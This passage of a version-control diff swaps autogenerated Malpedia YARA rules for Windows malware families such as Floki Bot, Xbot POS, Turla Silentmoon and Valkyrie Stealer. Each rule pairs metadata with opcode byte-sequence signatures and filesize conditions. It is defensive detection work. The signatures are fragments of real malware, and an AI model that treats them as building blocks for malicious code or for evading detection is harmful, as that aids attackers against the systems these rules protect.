} + $sequence_19 = { c684342406000040 eb62 c68434240600007b eb58 } + $sequence_20 = { 8dbc24490c0000 899424400c0000 be???????? f3ab 66ab } + $sequence_21 = { eb3d c6440c0c3c eb36 c6440c0c28 eb2f c6440c0c24 eb28 } + $sequence_22 = { 8d442414 6a04 50 6a04 55 68???????? 51 } condition: - 7 of them and filesize < 282624 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Neconyd_Auto : FILE +rule MALPEDIA_Win_Floki_Bot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0a26010e-37e7-5246-804a-229e327c846f" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neconyd_auto.yar#L1-L125" + id = "25c81d04-9abf-5940-8e55-7e5abeb99153" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.floki_bot_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "a947c838b71e86e1d4014575969fcaf0468066058b0d2c62ee2db801fb092cd0" + logic_hash = "e2f9df61c4df036b71f6882cf4c35419384506db07aa4de7d79fcad14d6710ad" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 74c7 ff75fc 8d85f0efffff 50 8d0437 50 } - $sequence_1 = { c6466701 c6466804 89460c 894e60 397d18 0f85b0000000 8b15???????? } - $sequence_2 = { c6466500 c6466b00 c6466c00 8b442418 898680000000 33c0 } - $sequence_3 = { c3 56 66c7003000 57 40 40 } - $sequence_4 = { 8365fc00 8d45fc 50 6a27 6a5e 8d45d4 } - $sequence_5 = { 57 bb???????? 50 8bd3 e8???????? b9???????? } - $sequence_6 = { 66c745ae5814 66c745b0d104 66c745b2c19d 66c745b42070 66c745b66afc 66c745b88fed } - $sequence_7 = { eb06 81c1ffff0000 880e 46 ff45fc } - $sequence_8 = { 29450c 83c40c 03f0 8d45fc 50 6800100000 8d85f0efffff } - $sequence_9 = { 394d18 0f8d35010000 8b0d???????? 3bcf 750c 66c745d83000 } + $sequence_0 = { fe45ff 8a45ff 3a45fc 7285 fe45fe 8a45fe 3a4601 } + $sequence_1 = { 8bc6 8d74241c e8???????? 84c0 0f843f010000 8b442414 } + $sequence_2 = { 53 57 8bf8 8d45f8 50 33db } + $sequence_3 = { 8b4c2414 0fb713 83fa04 7516 663911 7507 8b4d10 } + $sequence_4 = { 50 53 ff35???????? 682d010000 e8???????? 83c418 } + $sequence_5 = { 50 e8???????? ff471c 015f14 8bc6 8b55fc e8???????? } + $sequence_6 = { bf???????? e8???????? ff75f0 84c0 7407 e8???????? eb08 } + $sequence_7 = { 8d45f4 50 e8???????? 6a09 6a00 8d45f4 50 } + $sequence_8 = { 744d 66391f 7448 8d4c2440 e8???????? 6a04 8d544444 } + $sequence_9 = { 84c0 744b 8b45f8 85c0 7414 ff75ec e8???????? } condition: - 7 of them and filesize < 326182 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Threebyte_Auto : FILE +rule MALPEDIA_Win_Deputydog_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "799d81f4-c3a7-51cd-8c7b-153e88acd8dd" + id = "cfca8e79-f926-56a2-8c99-b5468ee055dd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.threebyte_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deputydog_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "2ca2547a0ff0213816f73a796ceafd61c5b00d7d4af221dfd97f4e43556e0e8c" + logic_hash = "ed5d5b1067c36186826e4424b2a432496a63ccbe3c2d0e290408a4c31dcb8d3d" score = 75 quality = 75 tags = "FILE" @@ -100917,32 +101098,32 @@ rule MALPEDIA_Win_Threebyte_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b9598fbffff 52 8d859cfbffff 50 8d8d4cf7ffff 51 8d956cf7ffff } - $sequence_1 = { 6a20 68cc000000 8d8de0fdffff 51 e8???????? 83c40c } - $sequence_2 = { c68531faffff6d c68532faffff65 c68533faffff00 8d8d28faffff 51 8b95a8faffff 52 } - $sequence_3 = { 52 8d8544feffff 50 8d8dccfeffff 51 e8???????? } - $sequence_4 = { ff15???????? 8d95ccfcffff 52 8d8510f8ffff 50 8d8dd0fdffff 51 } - $sequence_5 = { c685b1fdffff00 ff15???????? 50 8d8d94fdffff 51 } - $sequence_6 = { 81bda4f7fffff6010000 7507 b8faffffff eb05 b8f9ffffff 5f 8be5 } - $sequence_7 = { e8???????? 83c404 e9???????? 6a02 6a00 6a00 8b95d0fdffff } - $sequence_8 = { 50 e8???????? 83c408 89853cffffff 83bd3cffffff00 } - $sequence_9 = { 3b4d0c 7d15 8b5508 33c0 8a02 8945e0 8b4d08 } + $sequence_0 = { c20c00 56 8bf1 6a04 ff74240c 8d4624 50 } + $sequence_1 = { ff15???????? 85c0 7424 8b45d8 8b55dc 6a14 } + $sequence_2 = { 8b7508 ff75f0 ff15???????? 57 6880000000 } + $sequence_3 = { 8b45f0 59 885dfc 59 8906 57 } + $sequence_4 = { c0e102 884dff eb35 83fa01 7511 8ac1 c0e804 } + $sequence_5 = { 6a14 59 e8???????? 8b55d4 6a14 8945e4 8b45d0 } + $sequence_6 = { 6a15 be???????? 59 bf???????? f3a5 8d8d74ffffff e8???????? } + $sequence_7 = { c645fc0a ff15???????? 8d8dccfeffff c645fc05 e8???????? 8d45cc } + $sequence_8 = { 2bc8 c1f905 394df0 0f83e2000000 03c7 56 50 } + $sequence_9 = { 8808 eb53 83ff01 7518 8a0e } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Scanpos_Auto : FILE +rule MALPEDIA_Win_Xbot_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea54b41f-0e3e-59d0-9d34-b01116c8bd16" + id = "940e14dd-221d-5819-92eb-1310f719add8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scanpos_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xbot_pos_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "d918dbccd253554c0b76ec27fc4d9c167e1c0563dfe60b916ccc540524fa3716" + logic_hash = "535bdd8a229ae04e062f9eb15912ae47549a3a824b333a9bb79944aa1215914b" score = 75 quality = 75 tags = "FILE" @@ -100956,34 +101137,34 @@ rule MALPEDIA_Win_Scanpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 64a300000000 8b4508 33d2 c745e80f000000 8955e4 } - $sequence_1 = { 3ad3 75f9 2bc1 8bd0 } - $sequence_2 = { e8???????? 83c404 8b0d???????? 8939 8b15???????? 893a } - $sequence_3 = { 8d85e8feffff 50 51 68???????? 68???????? e8???????? 83c40c } - $sequence_4 = { 53 52 ffd0 3bc3 7508 3bd7 } - $sequence_5 = { e9???????? 8db5acfeffff e9???????? 8b542408 8d420c 8b8a8cfeffff 33c8 } - $sequence_6 = { e8???????? 03c8 8b4608 2bc2 3bc8 } - $sequence_7 = { 50 8d45f4 64a300000000 8b4508 8918 8b0b } - $sequence_8 = { 3bfb 0f82b9fdffff 837de810 720c 8b4dd4 } - $sequence_9 = { 6aff 68???????? 53 ff15???????? 85c0 0f95c3 837dcc10 } + $sequence_0 = { c685d3fcffff00 c745fcffffffff 8d4dd0 e8???????? } + $sequence_1 = { 6bc230 03048de0465600 b901000000 c1e100 c644082a0a 807dff01 } + $sequence_2 = { eb0a c78558fcffff01000000 8a9558fcffff 88959ffdffff } + $sequence_3 = { 005f56 4d 005f56 4d 0026 56 4d } + $sequence_4 = { e8???????? c685bbfdffff01 c745fcffffffff 8d8da8feffff e8???????? 8a85bbfdffff 52 } + $sequence_5 = { 4c 005166 4c 004566 4c 007566 4c } + $sequence_6 = { 743e 83ec0c 8bc4 89a5ecfeffff 6a00 50 8d4d0c } + $sequence_7 = { 83e13f 6bd130 8b0485e0465600 0fb64c1028 83e140 740f } + $sequence_8 = { c68583f9ffff01 eb07 c68583f9ffff00 8a8d83f9ffff 888dcbfbffff 8b45e8 8a8dd7fbffff } + $sequence_9 = { e8???????? 83c404 83e03f 6bc830 030cb5e0465600 894de4 eb07 } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 3031040 } -rule MALPEDIA_Win_Graphican_Auto : FILE +rule MALPEDIA_Win_Suppobox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "306b4097-e66d-555f-a881-23bb9c0b513c" + id = "5b7250ed-3647-5a89-a116-017b310c526f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphican_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.suppobox_auto.yar#L1-L191" license_url = "N/A" - logic_hash = "4ea64380581d8093475f0f95452d6256bbd394365c1616fdf688ce08e91d23e0" + logic_hash = "05beb26ad12e675f535ee9462bf9d41a047c1dcd3464f804af01fdd75563ee81" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -100995,32 +101176,44 @@ rule MALPEDIA_Win_Graphican_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bbed0030000 8b5dfc 2bf8 8d04fa 8b51fc 8b7de8 899486e8010000 } - $sequence_1 = { 757b 8b4d0c 57 8b7d08 8955fc 894d08 85c0 } - $sequence_2 = { 57 c785f0dfffff00000000 ff15???????? 8b85ecdfffff 8b8df0dfffff 53 50 } - $sequence_3 = { 8b7de8 899486e8010000 8b45ec 40 43 } - $sequence_4 = { 897dc0 3c30 7c04 3c39 7e4b 8b5d08 397318 } - $sequence_5 = { 746d 53 8d9ef4030000 807e0400 8bc3 7428 33d2 } - $sequence_6 = { 5e c3 33c0 33d2 85c0 5f 0f94c0 } - $sequence_7 = { 8b4148 ffd0 8b7dc0 33f6 895dc8 895dc4 } - $sequence_8 = { 8b10 50 8b4208 ffd0 8b45c8 3bc3 } - $sequence_9 = { 83c40c 50 e8???????? 8bf8 83c404 } + $sequence_0 = { 7e10 a1???????? 0305???????? a3???????? } + $sequence_1 = { 3bc8 7d10 a1???????? 2b05???????? a3???????? } + $sequence_2 = { 890d???????? e8???????? 8bf0 e8???????? 03f0 } + $sequence_3 = { 8945f0 a1???????? 83e801 a3???????? } + $sequence_4 = { 7412 8b0d???????? 030d???????? 890d???????? } + $sequence_5 = { 7d10 a1???????? 0b05???????? a3???????? } + $sequence_6 = { 7f10 a1???????? 2305???????? a3???????? } + $sequence_7 = { 01c6 39fe 0f8d2f020000 80bc2ef4f7ffff0a } + $sequence_8 = { 019dacf7ffff 83c40c 299dc4f7ffff e9???????? } + $sequence_9 = { 8d48ff 2d9b507602 8985dcfdffff db85dcfdffff } + $sequence_10 = { 01c6 39fe 0f8d7e010000 80bc2ef4f7ffff0a } + $sequence_11 = { 8d48ff 2d9696ca2f 39c2 66898d92feffff 0f8dbbfcffff } + $sequence_12 = { 01bdacf7ffff 83c40c 83bdc8f7ffff00 8b95c8f7ffff } + $sequence_13 = { 01d8 3b85b0f7ffff 7e2f 8b95c8f7ffff } + $sequence_14 = { 8d48ff 39c2 890d???????? 0f8e93240000 } + $sequence_15 = { 8d48ff 2de13d1921 8985e0f8ffff db85e0f8ffff } + $sequence_16 = { 01d7 68???????? 57 e8???????? } + $sequence_17 = { 8d48ff 39c2 898db4f8ffff 0f8e3d0f0000 } + $sequence_18 = { 01c6 ebdb ff7510 57 } + $sequence_19 = { 01c9 4a 79f2 833b54 } + $sequence_20 = { 8d48ff 2dbb4fb754 39c2 66890d???????? } + $sequence_21 = { 8d48ff 39c2 898dc8feffff 0f8ebb010000 } condition: - 7 of them and filesize < 362496 + 7 of them and filesize < 1875968 } -rule MALPEDIA_Win_Jssloader_Auto : FILE +rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7148d41e-3b6b-5706-b0f5-a23188997a17" + id = "9201dab6-c827-5ba9-b6a2-6cc5f0b64e34" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jssloader_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alpc_lpe_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "ffccc96c8251d57f1e22bfb5c0a6de3c234295ba8c011aea9715fb2c8123c39a" + logic_hash = "f47b6095e2a1dadfd3fc285c90742ae34b69859fcd8b2fa148af803fa48f9175" score = 75 quality = 75 tags = "FILE" @@ -101034,32 +101227,32 @@ rule MALPEDIA_Win_Jssloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3d55555515 0f846b010000 8b4b08 8d7001 2bcf b8abaaaa2a f7e9 } - $sequence_1 = { c645cc00 898570feffff 3bf0 7432 8bbd64feffff 8b4de4 03cf } - $sequence_2 = { 8d4de4 e8???????? 8a75d7 8b75e8 8b5dec 8b45c4 } - $sequence_3 = { 7e0f 803c0f22 0f84d6000000 41 3bc8 7cf1 33c0 } - $sequence_4 = { c785bcfdffff00000000 c785c0fdffff0f000000 c685acfdffff00 83fa10 722f 8b8d64fdffff 42 } - $sequence_5 = { 83c404 85c0 0f844a010000 8d7823 83e7e0 8947fc eb13 } - $sequence_6 = { c7805413440002000000 6a04 58 6bc000 8b0d???????? 894c05f8 6a04 } - $sequence_7 = { c745c800000000 c645fc02 3b4dec 741a 33d2 33f6 8911 } - $sequence_8 = { 8875d7 3bf9 7408 8817 47 897de8 eb13 } - $sequence_9 = { b8abaaaa2a 2bcf 895df0 f7e9 8b4b04 c1fa03 2bcf } + $sequence_0 = { 33c9 0f1f440000 0fb70429 4883c102 6689440ffc 6685c0 } + $sequence_1 = { 48894540 c7455040000000 48c7454800000000 48c7455800000000 48c7456000000000 48c785c800000000000000 c785e800000000000000 } + $sequence_2 = { 488bfc b932000000 b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 488b4008 } + $sequence_3 = { 488b8d00010000 e8???????? 488b8dd8000000 488bd1 488bc8 e8???????? } + $sequence_4 = { 488d1d5c8e0000 8bf7 488b2b 4885ed 741b 837b0801 7415 } + $sequence_5 = { 488bec 488bfc b932000000 b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 } + $sequence_6 = { 488b8d08010000 488908 48837d0800 7418 488b8d00010000 e8???????? } + $sequence_7 = { 83f8ff 7526 4c8d2587860000 493bdc } + $sequence_8 = { b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 48c70000000000 488b85e0000000 488da5c8000000 } + $sequence_9 = { 4c8b8500010000 488bd0 488d0d60b20000 e8???????? 48894508 8b4508 8bf8 } condition: - 7 of them and filesize < 581632 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Dubrute_Auto : FILE +rule MALPEDIA_Win_Unidentified_105_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b3f57fb-3926-53bd-845a-86ae7ddb65ab" + id = "3a3e23fc-74b8-538e-83ea-6f636ca69973" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dubrute_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_105_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "15ef5a601ee94177845777a653e057c97a84bc2521287b368cd711d048d0bf0d" + logic_hash = "f4fc15196e62980ff75ec5048526dde4db7767af139fed75b0b1419b85a6dee5" score = 75 quality = 75 tags = "FILE" @@ -101073,32 +101266,32 @@ rule MALPEDIA_Win_Dubrute_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8d85d0fcffff bfff000000 50 57 ff15???????? 8d85d0fcffff } - $sequence_1 = { ff7514 8b8674090000 ff7510 ff750c ff7008 e8???????? 83c410 } - $sequence_2 = { 55 8bec 83ec24 56 57 6a0c 8d45f4 } - $sequence_3 = { 395008 7510 8b4808 3bca 7c09 83f907 7f04 } - $sequence_4 = { e9???????? 8d45fc 50 53 e8???????? 59 85c0 } - $sequence_5 = { 8b8040000100 83b81804000000 741e 837df800 7418 83b80c04000008 7e0f } - $sequence_6 = { 894508 8d8564ffffff 6a01 50 8d4dc8 ff15???????? db4508 } - $sequence_7 = { ff7508 50 e8???????? 8bf0 8d7de8 } - $sequence_8 = { 8bf0 8d7df0 a5 a5 a5 8b75f0 83c43c } - $sequence_9 = { 0f8cce000000 83650800 837f0400 8b7510 bb???????? 7e70 8b07 } + $sequence_0 = { e8???????? 6800100000 8bf0 57 56 } + $sequence_1 = { 6a00 8d8dd0feffff 51 8d95fcfeffff } + $sequence_2 = { e8???????? 8bd8 83c404 53 8bce } + $sequence_3 = { e8???????? 6800002000 8bf8 6a00 57 897df4 } + $sequence_4 = { 8a08 40 84c9 75f9 2bc2 6a02 8d4c30fe } + $sequence_5 = { 85c0 750d 68???????? e8???????? 83c404 8b8df0efffff } + $sequence_6 = { 8b742414 83c404 b9???????? 8bc6 8d642400 } + $sequence_7 = { 8b3d???????? 8d45e4 50 33f6 } + $sequence_8 = { eb13 83f801 750e a1???????? } + $sequence_9 = { 8b85f4efffff 83c40c 6a00 8d8decefffff 51 6800100000 } condition: - 7 of them and filesize < 598016 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE +rule MALPEDIA_Win_Ratankbapos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "711d8460-3e95-57e5-96e4-0d30c9eba978" + id = "c30c3afc-d593-5fd1-9897-681a89fdb715" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turla_silentmoon_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratankbapos_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "3d4cfb37bdf5585573f2013bd7786899d7b9f149ed83fd0e028e64c3f10d7b64" + logic_hash = "9d94248f5eeb0fe7fd704ad2035548b948a3d89033ce9c65e0f71221072d6968" score = 75 quality = 75 tags = "FILE" @@ -101112,32 +101305,32 @@ rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4df4 83c404 51 ffd7 83c404 8d95e4f7ffff } - $sequence_1 = { 7ce0 8b55d4 47 03c9 897dd0 3bfa 7ec7 } - $sequence_2 = { 41 3b4df0 7ce3 8955d4 83fa11 0f8fe8000000 83f801 } - $sequence_3 = { 50 6a01 8d4dff 51 56 c645ffec 895dec } - $sequence_4 = { ff15???????? 8b4ddc 8b35???????? 51 ffd6 8b55e0 52 } - $sequence_5 = { 85c0 7407 32c0 5e 8be5 5d c3 } - $sequence_6 = { 8955fc 8bd9 8975f4 8bc6 8bff 3bc8 7f24 } - $sequence_7 = { 09be58020000 8b7df8 898e5c020000 0fb77c7b52 897df4 8b3cba 897dd4 } - $sequence_8 = { 83f801 752e 8b4508 8b7c245c } - $sequence_9 = { 5f 8be5 5d c3 8b55fc 6a04 8d4df8 } + $sequence_0 = { 33c5 8945f8 56 8b7508 85f6 0f8413010000 } + $sequence_1 = { ff15???????? 8bf0 8d4dcc 897304 } + $sequence_2 = { 0fbec2 0fbe8040010110 83e00f eb02 33c0 0fbe84c160010110 } + $sequence_3 = { c1f905 8b0c8de04d0110 83e01f c1e006 f644080401 } + $sequence_4 = { eb05 1bc0 83d8ff 85c0 7508 8d8646b10000 } + $sequence_5 = { 83e203 83f908 7229 f3a5 ff249590490010 } + $sequence_6 = { 40 3acb 75f9 2bc6 3bd0 72dc } + $sequence_7 = { 8b5518 50 8b4514 51 8b4d08 52 50 } + $sequence_8 = { e8???????? 8b4da4 8945c8 c6040800 } + $sequence_9 = { 0fbe8040010110 83e00f eb02 33c0 0fbe84c160010110 6a07 c1f804 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Brutpos_Auto : FILE +rule MALPEDIA_Win_Mikoponi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bb6abccd-59b3-5a30-9e67-ccbe498737a5" + id = "de82eebe-f707-5dc6-9c33-0ae7d7821633" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brutpos_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mikoponi_auto.yar#L1-L107" license_url = "N/A" - logic_hash = "89d0bc6a7e52ba9f63dface96ebbf483b03be0cbf8144ed32f3b88bf360b4eda" + logic_hash = "8f3a24b96a22a4d512e188ba3c40bc90dbbbc4bf56cf9ed6cddde59c392fa78b" score = 75 quality = 75 tags = "FILE" @@ -101151,32 +101344,30 @@ rule MALPEDIA_Win_Brutpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 58 83c004 83e904 8808 } - $sequence_1 = { 03c2 034508 2938 83e902 75e8 ebd9 5e } - $sequence_2 = { 8d5b18 8b5b60 03d8 52 8b35???????? } - $sequence_3 = { 6681f9df77 7412 0f31 8bd8 } - $sequence_4 = { 8bd0 ad 8bc8 83e908 66ad 6685c0 740c } - $sequence_5 = { 8d7c38fc baffffffff 83c704 57 } - $sequence_6 = { 66ad 6685c0 740c 25ff0f0000 03c2 034508 } - $sequence_7 = { 52 e8???????? 59 8b09 8bd1 } - $sequence_8 = { c1e202 03d3 8b12 03d0 } - $sequence_9 = { 8b5508 8b4204 0fb70a 50 51 807401ff97 } + $sequence_0 = { 8b07 50 e8???????? 83c404 5e 5b 5d } + $sequence_1 = { 57 e8???????? 2bc7 d1f8 8d742420 } + $sequence_2 = { e9???????? 68f4010000 56 ff15???????? 8bf8 e8???????? e9???????? } + $sequence_3 = { ff15???????? 8b442468 89442414 89442418 33c0 89442430 } + $sequence_4 = { b9???????? 8d442440 668b10 663b11 751e } + $sequence_5 = { e8???????? 83c408 8d4c2414 51 57 } + $sequence_6 = { 81c470040000 c3 68???????? 68???????? ff15???????? 50 ff15???????? } + $sequence_7 = { e8???????? 68???????? e8???????? 68???????? e8???????? 8b7c2420 57 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 330752 } -rule MALPEDIA_Win_Anchormtea_Auto : FILE +rule MALPEDIA_Win_Tokyox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "32582435-d23f-5bf2-99b8-f6c7ec2febef" + id = "d34e4ceb-0bc2-5477-9c12-3a529f2527e6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anchormtea_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tokyox_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "0d56b6ebc1869a5136446b1b05f633dc23ded4ac41169656ca6cd600d19c6d7b" + logic_hash = "a5f77c70b1ac6566e10c0515d32c74e5ec77d8ebaa8bcecbb1bfc331f53b6f71" score = 75 quality = 75 tags = "FILE" @@ -101190,37 +101381,32 @@ rule MALPEDIA_Win_Anchormtea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? f7d8 1bc0 83e002 } - $sequence_1 = { 4883f81f 0f87fd170000 488bce e8???????? 4c8d8b44010000 4c8d05255f0200 } - $sequence_2 = { 898d68f7ffff 89b564f7ffff 3bd0 7741 } - $sequence_3 = { 8bc2 c1e81f 03c2 8945fc b8619e426b f7e9 } - $sequence_4 = { 4533c0 48c7c100000080 897c2420 ff15???????? 85c0 7563 } - $sequence_5 = { 89442450 8b45dc 89542448 418bd2 } - $sequence_6 = { 8bd9 4c8d0d69cc0000 b904000000 4c8d0555cc0000 488d15c6af0000 e8???????? } - $sequence_7 = { 6800010000 ff761c e8???????? ff75e0 668b45cc 6824080000 } - $sequence_8 = { 4585ff 0f84d3000000 33ff 4d63e7 } - $sequence_9 = { 83c414 c744241000000000 57 ff15???????? } - $sequence_10 = { ff15???????? 488bf8 4885c0 7410 33d2 } - $sequence_11 = { 55 8bec 81ec8c030000 a1???????? 33c5 8945fc ff05???????? } - $sequence_12 = { c7471c40300010 894714 c7472060300010 c7472480300010 c7472890300010 c7472cb0300010 } - $sequence_13 = { 51 e8???????? 83c408 8bb70c010000 89b568f7ffff 85f6 0f846c010000 } - $sequence_14 = { 4c897e10 4903c5 488bcb 4c8d3c12 } + $sequence_0 = { ff15???????? 85c0 0f84b6010000 8d4590 } + $sequence_1 = { e8???????? 8b4508 83c40c b90d0a0000 66890c07 } + $sequence_2 = { c745f450726f64 50 6a00 8d45f4 c745f87563744e } + $sequence_3 = { 0f842e020000 8d4df0 c745fc00000000 51 } + $sequence_4 = { 8d45f8 50 6a05 ff7608 ffd7 6a3c ff7510 } + $sequence_5 = { 51 56 6a00 68e9fd0000 ff15???????? 8945e4 33db } + $sequence_6 = { 7534 83f801 721f 66a1???????? 8d5601 } + $sequence_7 = { 8bec a1???????? 3b05???????? 0f85a10f0000 ff7508 e8???????? 59 } + $sequence_8 = { 8bf2 c745a046003400 c745a435003000 c745a831002d00 c745ac46003400 c745b034004700 c745b42d003400 } + $sequence_9 = { ff15???????? 894608 85c0 754e ff15???????? 8b4e08 } condition: - 7 of them and filesize < 839680 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Valkyrie_Stealer_Auto : FILE +rule MALPEDIA_Win_Polyglotduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4598928-8b14-591c-9777-90769a8eecd7" + id = "5c295965-8bd5-593f-b721-c3ba45184139" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valkyrie_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.valkyrie_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyglotduke_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "c5262da30071ead337de0712314a64ba13ec652e925a6c656e4cda19b1fcb853" + logic_hash = "02803fa0214e774a255c3af744ecd162ea9c7b022e39aa2c1104c52737c743df" score = 75 quality = 75 tags = "FILE" 